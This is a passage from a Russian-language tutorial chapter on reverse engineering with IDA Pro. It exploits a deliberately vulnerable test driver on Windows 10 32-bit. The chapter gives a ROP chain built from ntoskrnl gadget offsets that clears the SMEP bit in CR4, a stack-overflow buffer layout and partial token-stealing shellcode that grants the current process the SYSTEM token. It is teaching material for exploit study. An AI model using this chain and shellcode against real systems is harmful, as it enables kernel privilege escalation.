> For the complete documentation index, see [llms.txt](https://yutewiyof.gitbook.io/intro-rev-ida-pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yutewiyof.gitbook.io/intro-rev-ida-pro/chast-62.md).

# Часть 62

[\[Используемые материалы\]](https://github.com/yutewiyof/intro-rev-ida-pro/tree/e1367e11cc661f3d69c02ae5f733b7dd168bc5ab/.gitbook/assets/files/62.zip)

Мы возвращаемся после праздников с новыми туториалами. В этом туториале мы увидим вариант эксплуатации того же самого драйвера, который мы видели для **WINDOWS 7 32** бит. Только теперь сделаем для **WINDOWS 10 32** бит.

Разница, как мы сказали, состоит в **SMEP**. Это защита позволяет избежать перехода ядра на выполнение страниц, помеченных как пользовательские. Как мы делали в примерах, которые мы видели до сих пор, мы выделяли страницу в пользовательском режиме с разрешением на выполнение. Когда мы берем на себя контроль на страницей, мы переходим туда, где находится наш шеллкод.

Тот, кто хочет углубиться по теме **SMEP**, здесь есть очень хорошее объяснение. Но оно английском языке.

[https://www.coresecurity.com/system/files/publications/2016/05/Windows SMEP bypass U=S.pdf](https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf)

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyqik8wdMOhvHYYl%2F62-01.png?generation=1563261687622136\&alt=media)

Бит **20** отладочного регистра **CR4** - это бит, который активирует защиту **SMEP**. Следовательно, для того, чтобы защита не работала, необходимо будет сбросить этот бит с помощью **ROP** перед тем, как перейти к выполнению блока, выделенного в режиме пользователя.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyqxlyRNGZ9mx6FM%2F62-02.png?generation=1563261687969154\&alt=media)

Здесь мы видим **BUF**, который был исполняемым буфером, созданным в пользовательском режиме с правами на выполнение, куда затем мы сразу переходим на выполнение, когда мы провоцируем переполнение и перезаписываем адрес возврата.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjttkJvbq8Uocl4jWiJ%2F-Ljtu3xLbEBBzrEUy56u%2F03.png?generation=1563265904149725\&alt=media)

Здесь с адресом пользовательского буфера мы перезаписывали адрес возврата таким значением.

```python
struct.pack("<L", 0x0BAD0B0B0)
```

Программа не позволяет нам копировать данные дальше, так как она выходит из цикла и заканчивает копирование.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2Fsync%2F622c55c1a971f06752e6e5619f15e34ca3d0563f.png?generation=1617135493193507\&alt=media)

Прежде всего, мы должны сказать, что для того, чтобы **WINDOWS 10** функционировал как узел отладки ядра, после установки **VKD**, как мы видели в предыдущих главах, и перед перезапуском **VKD** необходимо набрать только один раз в консоли с правами администратора такую команду.

```
BCDEDIT /dbgsettings serial
```

И здесь согласиться. Мы перезагрузим компьютер. Другая вещь, которую вы увидите состоит в том, что после перезагрузки произойдет нечто подобное.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjttkJvbq8Uocl4jWiJ%2F-Ljtu3xs8vGwdgYWHIZv%2F05.png?generation=1563265919472187\&alt=media)

Где мы должны нажать **F8**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyrc-hVnGz9WUd36%2F62-06.png?generation=1563261687620107\&alt=media)

И здесь отключаем подпись драйверов умышленно, что мешает нам загрузить драйвер **VKD**. Кроме того, это позволит нам загрузить драйвер, для эксплуатации, который явно не подписан.

В случае эксплуатации драйвера какой-либо программы или аппаратного обеспечения, он будет подписан и загружен без проблем.

После всего этого запустится **WINDBG** и прервется. Мы продолжаем нажимать **G**. Отладчик продолжит выполнение до тех пор, пока не запустится система.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjttkJvbq8Uocl4jWiJ%2F-Ljtu3yPtSZjHKUHC_sc%2F07.png?generation=1563265904172257\&alt=media)

Я загружаю драйвер с помощью **OSRLOADER**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjttkJvbq8Uocl4jWiJ%2F-Ljtu3yaSBlouP0CwJY7%2F08.png?generation=1563265908152024\&alt=media)

Затем нажимаю **REGISTER SERVICE**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdys2bNxB2JNlAQLM%2F62-09.png?generation=1563261687740384\&alt=media)

И наконец **START SERVICE**.

Мы уже знаем, что если мы хотим протестировать эксплоиты в **PYTHON**, нам нужно будет установить его на целевой машине и поместить в переменные окружения. В противном случае нам придется скомпилировать его в **C** или **C++** со встроенной библиотекой выполнения, которая работает без проблем.

Теперь мы должны

1. Добавить **ROP**, который отключит **SMEP** (должна быть определена точная версия **WINDOWS)**
2. Изменить шеллкод, чтобы украсть токен, который мы использовали в **WINDOWS 7**, который здесь не будет работать, потому что структуры немного изменены.

Помните, что **ROP** зависим от версии системы. В моем случае **NTOSKRNL.EXE** версии **10.0.15063.483**

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdz-hOruzlF5LAQIA%2F62-58.png?generation=1563261687486523\&alt=media)

Что соответствует этой версии **WINDOWS**. В другой версии он работать не будет.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2Fsync%2F64f3ab67a666ad22936ab13e9bcb6ca7321493e6.png?generation=1617135493344399\&alt=media)

Конечно, из консоли обычного пользователя вы можете узнать версию **WINDOWS**. Поэтому в профессиональном эксплоите версия будет обнаруживаться автоматически и в зависимости от неё, будет отправлен соответствующий **ROP**.

Но в моем случае я сделаю это только для этой версии. Я не хочу так много работать. Вы сами на практике, можете это сделать вместо меня.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu3zGYuYM426s4RZQ%2F12.png?generation=1564404216717247\&alt=media)

Я установлю **BP** на выходе из цикла, но перед выходом из **WINDBG** я посмотрю на значение регистров. Затем выполню **DEBUG-BREAK**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu3zWOybDbKPbd3eW%2F13.png?generation=1564404213430650\&alt=media)

Здесь мы должны увидеть все регистры. Также существует команда **R** + **РЕГИСТР**, чтобы увидеть регистры отладки.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdysc5NuXACpB3oL7%2F62-13.png?generation=1563261687988642\&alt=media)

Мы видим, что значение регистра **CR4** равно **0x6E9** и очевидно, что бит **20** отключен. Но, как это может быть, если я в **WINDOWS 10**.

Если я перейду к двоичному представлению числа **0x6E9**.

```
bin(0x6E9)
0B11011101001
```

Младший бит равен **0**. Очевидно, что происходит заполнение нулями влево до завершения **32х** бит.

> 0b000000000000**0**000000000**11011101001**

Жирным шрифтом выделен бит **20**, и он равен нулю, поэтому на этой машине я могу работать без проблем с **SMEP**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdysi_22FW9qcgGUz%2F62-14.png?generation=1563261687593124\&alt=media)

Я подозреваю что у меня старая версия **VMWARE**, которая не поддерживает **SMEP**, или что хостовая машина очень стара. На всякий случай я установил **VMWARE 14** и когда я повторяю процедуру с той же самой целью **WINDOWS 10**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdysoFPdmJO0flW4R%2F62-15.png?generation=1563261687801652\&alt=media)

Хорошо. Это еще одно значение. Если мы посмотрим это значение в двоичном виде.

> bin(0x1406E9)
>
> '0b**1**01000000011011101001'

Мы видим, что бит **20** равен **1**, поэтому здесь **SMEP** включен.

Есть ли способ без отладки ядра, т.е. через пользовательскую программу, узнать, включен ли **SMEP**?

```python
SHELLCODE = "\X33\XC9"
SHELLCODE += "\X33\XC0"
SHELLCODE += "\X33\XDB"
SHELLCODE += "\XB8\X07\X00\X00\X00" # "MOV EAX,7"
SHELLCODE += "\X0F\XA2" # "CPUID"
SHELLCODE += "\X8B\XC3" # "MOV EAX,EBX"
SHELLCODE += "\XC3" # "RET"
```

Я выполняю этот код в программе пользовательского режиме. Мне возвращается в регистре **EAX** значение если включен **SMEP** или нет.

Здесь я обнулил регистры вместо **XOR** и написал две необходимые инструкции, чтобы увидеть, что они вернут в регистр **EBX** на машине, на которой не включен **SMEP**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu4-K4la0_rSEvgFT%2F17.png?generation=1564404214725853\&alt=media)

**EBX** содержит **2**.

Я готовлюсь сделать тест на другой машине.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu4-lWjxE0-fG0X1s%2F18.png?generation=1564404226207207\&alt=media)

Мы видим, что **EBX** содержит совсем другое значение равное **0x001C2FBB**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdytFQB-hcuaw_Qgd%2F62-18.png?generation=1563261687463963\&alt=media)

Я выполняю операцию **AND** над результатом и значением **0x80**.

```
hex(0x80 & 0x001C2FBB)
'0x80'
hex(0x80 & 0x002)
'0x0'
```

Мы видим, что если результат равен нулю, **SMEP** отсутствует, а если он отличается от нуля, **SMEP** существует.

Можно ли сделать этот тест из **PYTHON**? Давай посмотрим.

Я использую этот модуль **CPUID**.

<https://github.com/flababah/cpuid.py>

И положу его в ту же папку скрипта.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu40atujPgA3BoHdn%2F20.png?generation=1564404223174470\&alt=media)

Это даст мне значение регистров. Второе значение, это регистр **EBX**, который равен **2** на машине без **SMEP**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdytQ7-SlzG6HsgFl%2F62-20.png?generation=1563261687568210\&alt=media)

Мне возвращается десятичное значение, которое я получил раньше.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdytVc6YbK8BA_rYH%2F62-21.png?generation=1563261687612176\&alt=media)

Таким образом, я могу добавить код в начало моего скрипта, чтобы он обнаруживал, включен ли **SMEP** или нет.

Хорошо. У нас уже есть почти все. Нам нужен **ROP**, шеллкод и чтение адреса базы **NT**, чтобы можно было исполнить там цепочку **ROP**.

Вы скажете, как я получу гаджеты в ядре? С **MONA** это не получится, а **IDASPLOITER** не возвращает результаты даже в ядре, поэтому он не работает для нас.

<https://drive.google.com/open?id=1VbN3kipWQe9ti7WGheGSmbG9xOn4uaQW>

Здесь есть утилита для поиска гаджетов в статической форме, будь то модуль ядра или что-то еще. Вы передаете ему имя и количество максимальных гаджетов, и он ищет гаджеты для вас, чтобы потом сохранить их в текстовом файле, чтобы затем разобрать их с комфортом.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu423Jl5lnTQuHR60%2F23.png?generation=1564404226571926\&alt=media)

```
RP-WIN-X86.EXE -F NTOSKRNL.EXE -R 5 > PEPE.TXT
```

Хорошо. C помощью этой команды мы сохраним все гаджеты в текстовом файле с именем **PEPE.TXT**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu42Q0dB0v-XuTP2j%2F24.png?generation=1564404226554773\&alt=media)

Это большой файл. Но это и мощный инструмент, который служит и находит гаджеты в любом модуле.

Чтобы найти базу **NT**, мы используем **ENUMDEVICEDRIVERS**, который возвращает список с именами и базами всех драйверов. Обычно **NT** является первым, но мы можем сравнивать имя в цикле, пока не найдем нужный нам модуль и не найдем базу для него. Я вижу, что если я выполню скрипт после импорта отсутствующих модулей, скрипт будет работать и печатать базу **NT**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyu15BDK66iBn7Z3%2F62-24.png?generation=1563261687580929\&alt=media)

Короче говоря, я обнаружил, что эти гаджеты, предназначенные для чтения регистра **CR4**, помещают в регистр **ECX** значение **0xFFEFFFFF**, затем исполняется инструкция **AND EAX ECX** которая сбрасывает **20** бит, а затем сохраняют его снова в **CR4**. Это и есть наш **ROP**.

```python
INPUT = STRUCT.PACK("<I", NT + 0X11FC10) # MOV EAX, CR4 - RET
INPUT += STRUCT.PACK("<I", 0X75757575) # JUNK
INPUT += STRUCT.PACK("<I", 0X76767676) # JUNK
INPUT += STRUCT.PACK("<I", NT + 0X51976F) # POP ECX; RET
INPUT += STRUCT.PACK("<I", 0XFFEFFFFF) # TO DISABLE SMEP
INPUT += STRUCT.PACK("<I", NT + 0X50095C) # AND EAX,ECX; RET
INPUT += STRUCT.PACK("<I", NT + 0X22F2DA) # MOV CR4,EAX; RET4
```

Проблема в том, что я не могу поместить шеллкод под адресом возврата просто так, потому что там под адресом возврата находится указатель на источник, который читается, и если я перезапишу его, то может случиться сбой. Нужно сделать всё правильно.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyuGMg0FMjH7Hfl7%2F62-25.png?generation=1563261687560070\&alt=media)

Я вижу что, передавая только один **DWORD** адреса возврата, перезаписывается указатель на **USERBUFFER**, который является источником, так что не так-то просто поместить **ROP** внизу.

```python
DATA = SHELLCODE + ((0X828 -LEN(SHELLCODE)) * "A") #SHELLCODE
DATA+= STRUCT.PACK("<I", NT + 0X51976F) #RETURN (POP ECX-RET)
DATA+= STRUCT.PACK("<L",INT(BUF)+0X82C) #PUNTERO A SOURCE QUE PISO
DATA+= INPUT # ROP
DATA+= STRUCT.PACK("<L",0X0BAD0B0B0 ) # FIN
```

Одной из возможностей было бы перезаписать этот указатель указателем на тот же шеллкод ниже. В этом случае у меня есть источник. Когда код перезаписывает его, он начинает указывать на начало моего шеллкода + **0x82C**, где находится **ROP**, поэтому код продолжает копировать его туда же ниже и ничего не сломается. Также я перезаписываю адрес возврата с помощью гаджета **POP ECX** - **RET**, чтобы при переходе к исполнению программа пропускала этот указатель на источник и переходила прямо к **ROP**, который был ниже.

Я могу расположить **ROP** так, чтобы в начале у меня было несколько **RET**, чтобы компенсировать то, что возвращается из **RET8**, и удалить промежуточные отступы.

```python
INPUT = STRUCT.PACK("<I", NT + 0X519770) *4 # RET
INPUT += STRUCT.PACK("<I", NT + 0X11FC10) # MOV EAX, CR4 - RET
INPUT += STRUCT.PACK("<I", NT + 0X51976F) # POP ECX; RET
INPUT += STRUCT.PACK("<I", 0XFFEFFFFF) # TO DISABLE SMEP
INPUT += STRUCT.PACK("<I", NT + 0X50095C) # AND EAX,ECX; RET
INPUT += STRUCT.PACK("<I", NT + 0X22F2DA) # MOV CR4,EAX; RET4
INPUT += STRUCT.PACK("<I", INT(BUF)) # A SHELLCODE
```

Когда я выполняю этот код, я прихожу в **RET**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu43VONq_t_v69eiO%2F27.png?generation=1564404229360977\&alt=media)

И я начинаю трассировать.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu43joqbZT4LyfCCc%2F28.png?generation=1564404216312713\&alt=media)

Если вы не видите код, нажмите клавишу **F7**, а если все равно не видите, нужно создать там сегмент щелкнув правой кнопкой мыши.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu43uE9vOB5TNWGyW%2F29.png?generation=1564404217007658\&alt=media)

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu446jxQWL0419fWO%2F30.png?generation=1564404217592937\&alt=media)

Низкий адрес начала сегмента, который охватывает область, где я нахожусь, и достаточно любого имени. Я снова нажимаю клавишу **F7**. И появляется код.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyvOIkCKVMNU6a_n%2F62-30.png?generation=1563261687523232\&alt=media)

Затем **ROP** переходит сюда.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyv_ZrREyrIs-0K5%2F62-31.png?generation=1563261687684288\&alt=media)

Где значение **EAX** помещается в **CR4**. Затем идёт **POP ECX - RET**, где программа помещает в стек значение **0xFFEFFFFF**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu44cRhniHlSoZyYs%2F33.png?generation=1564404226567918\&alt=media)

Затем идёт **AND** для сброса бита **20**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyw0xNVvcbuFJSvi%2F62-33.png?generation=1563261687506979\&alt=media)

А затем снова сохраняется измененное значение в регистр **CR4**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu453zcgsj3sUqzXU%2F35.png?generation=1564404214186858\&alt=media)

Напомним, что это раньше это было значение **0x1406E9**, а теперь значение равно **0x406E9**, у которого сброшен бит **20**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdywLZTjNfmV_0jej%2F62-35.png?generation=1563261687416247\&alt=media)

> bin(0x406E9)
>
> '0b**0**01000000011011101001'

Затем остается перейти к самому шеллкоду, очень похожему на тот, что был в **WINDOWS 7**, но структуры меняются. Посмотрим.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu45PLz2_pybIC6qr%2F37.png?generation=1564404215289204\&alt=media)

Первое, это то что мы выполняем это **NOP**. Это означает, что **SMEP** выключен правильно. Но здесь машина может выйти из строя и перезагрузится.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyw_GC7NF8yso3mK%2F62-37.png?generation=1563261687939349\&alt=media)

Напомним, что **FS:124** является указателем на структуру **ETHREAD**, объяснение, которой мы уже давали в **WINDOWS** 7. Здесь изменится только некоторое смещение.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdywf-4fEBTKaR98_%2F62-38.png?generation=1563261687871206\&alt=media)

В **WINDBG**, включенном в **IDA**, мы видим структуру для **WINDOWS 10**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu469Cyd2vxdhMHq3%2F40.png?generation=1564404228457503\&alt=media)

Так как в первом поле находится **KTHREAD** оно занимает **0x350** байт. Поля, с которыми мы работаем, находятся внутри неё.

Мы видим, что здесь, в отличие от **WINDOWS 7**, этот **APCSTATE**, имеющий тип **\_KAPC\_STATE**, был со смещением **0x50**, здесь он со смещением **0x70**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdywvkCvmrPwbPO5q%2F62-40.png?generation=1563261687673819\&alt=media)

По смещению **0x10** этой структуры

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdyx9O2SsbqsuRhom%2F62-41.png?generation=1563261687747088\&alt=media)

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyxNLnY_6zuk25A3%2F62-42.png?generation=1563261687508648\&alt=media)

В **EAX** мы видим, что это знаменитая структура **EPROCESS** текущего процесса сохраняющаяся в **ECX**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyxYEmXxSbWW9_ZQ%2F62-43.png?generation=1563261687579001\&alt=media)

Мы видим, что **PCB** который является типом **\_KPROCESS** находится по смещению **0**, поэтому он совпадает с адресом в **\_EPROCESS**. Проблема в том, что здесь шеллкод ищет смещение **0xFC** и, очевидно, он не находится его внутри **KPROCESS**, потому что длина равна **0xB0**, поэтому поле находится в **EPROCESS** чуть ниже.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu47TFZnQ6zEb5VRD%2F45.png?generation=1564404216388959\&alt=media)

Поэтому шеллкод читает токен текущего процесса по смещению **0xFC** и переносит его в регистр **EBX**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu47dAtHFFPse7m7j%2F46.png?generation=1564404228101171\&alt=media)

А из поля **0xB8** читается **ACTIVEPROCESSLINKS**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyyPpsvPxLFu1xhv%2F62-46.png?generation=1563261687966057\&alt=media)

Это мы объяснили в версии для **WINDOWS 7**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyyX4sVm28eOn4of%2F62-47.png?generation=1563261687740090\&alt=media)

Это **FLINK**, другими словами он указывает на **ACTIVEPROCESSLINK** следующего процесса, так как он находится по смещению **0xB8**, поэтому нужно вычесть эту константу, чтобы найти **EPROCESS**следующего процесса.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu48vT0b0K52m4IOj%2F49.png?generation=1564404216009864\&alt=media)

Затем происходит сравнение содержимого по смещению **0xB4**, которое является **PID**, пока не найдется процесс **PID 4** или **SYSTEM**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu49I5IkeRt3LWpME%2F50.png?generation=1564404215462376\&alt=media)

Как только шеллкод покидает **ЦИКЛ**, потому что он обнаружил процесс **SYSTEM**, в **EAX** остается его **EPROCESS**. Шеллкод читает токен по смещению **0xFC** и копирует его в текущий процесс **EPROCESS** который был в **ECX**.

Затем остается вернется правильно к процессу, без сбоев, что непросто. Токен готов.

Одна из техник заключается в том, чтобы трассировать программу, когда она проходит через ту же функцию, но без переполнения, и продолжить, когда она возвращается из каждой функции, и смотреть на стек, пытаясь увидеть, что при переполнении она возвращается аналогичным образом.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyyxhkLIIou-bgvm%2F62-50.png?generation=1563261687395244\&alt=media)

Поскольку здесь я возвращаюсь без переполнения, а затем здесь есть **RETN8**, и стек находится в этой позиции, поэтому программа вернется сюда.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu4ABj5HrxaJ09CHf%2F52.png?generation=1564404214152274\&alt=media)

Поэтому я пытаюсь вернуться в то же место, где стек находится в том же положении, когда есть переполнение, и я должен использовать **RETN8**.

Вы видите, что когда я вхожу, чтобы выполнить свой шеллкод, стек довольно похож.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu4ALbW3fXiYt9hRa%2F53.png?generation=1564404217782112\&alt=media)

Прибываю в **POPAD**.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyzMvLDKRSt8WXoG%2F62-53.png?generation=1563261687490707\&alt=media)

Со стеком всё хорошо. Поэтому я должен удалить инструкцию **ADD ESP**, **0C**, которая использовалась для другого эксплойта, удалить этот **PUSH** и изменить **RET** на **RETN 8**, и всё должно заработать.

Это можно сделать так.

```python
SHELLCODE = STRUCT.PACK("<I", 0X90909090)

# --[ SETUP]
SHELLCODE += "\X60" # PUSHAD
SHELLCODE += "\X64\XA1\X24\X01\X00\X00" # MOV EAX, FS:[KTHREAD_OFFSET]

# I HAVE TO DO IT LIKE THIS BECAUSE WINDOWS IS A LITTLE SPECIAL
# THIS JUST GETS THE EPROCESS. WINDOWS 7 IS 0X50, NOW ITS 0X80.
SHELLCODE += "\X8D\X40\X70" # LEA EAX, [EAX+0X70];
SHELLCODE += "\X8B\X40\X10" # MOV EAX, [EAX+0X10];
SHELLCODE += "\X89\XC1" # MOV ECX, EAX (CURRENT _EPROCESS STRUCTURE)

# WIN 10 RS2 X86 TOKEN_OFFSET = 0XFC
# WIN 07 SP1 X86 TOKEN_OFFSET = 0XF8
SHELLCODE += "\X8B\X98\XFC\X00\X00\X00" # MOV EBX, [EAX + TOKEN_OFFSET]

# --[ COPY SYSTEM PID TOKEN]
SHELLCODE += "\XBA\X04\X00\X00\X00" # MOV EDX, 4 (SYSTEM PID)
SHELLCODE += "\X8B\X80\XB8\X00\X00\X00" # MOV EAX, [EAX + FLINK_OFFSET]
SHELLCODE += "\X2D\XB8\X00\X00\X00" # SUB EAX, FLINK_OFFSET
SHELLCODE += "\X39\X90\XB4\X00\X00\X00" # CMP [EAX + PID_OFFSET], EDX
SHELLCODE += "\X75\XED" # JNZ

# WIN 10 RS2 X86 TOKEN_OFFSET = 0XFC
# WIN 07 SP1 X86 TOKEN_OFFSET = 0XF8
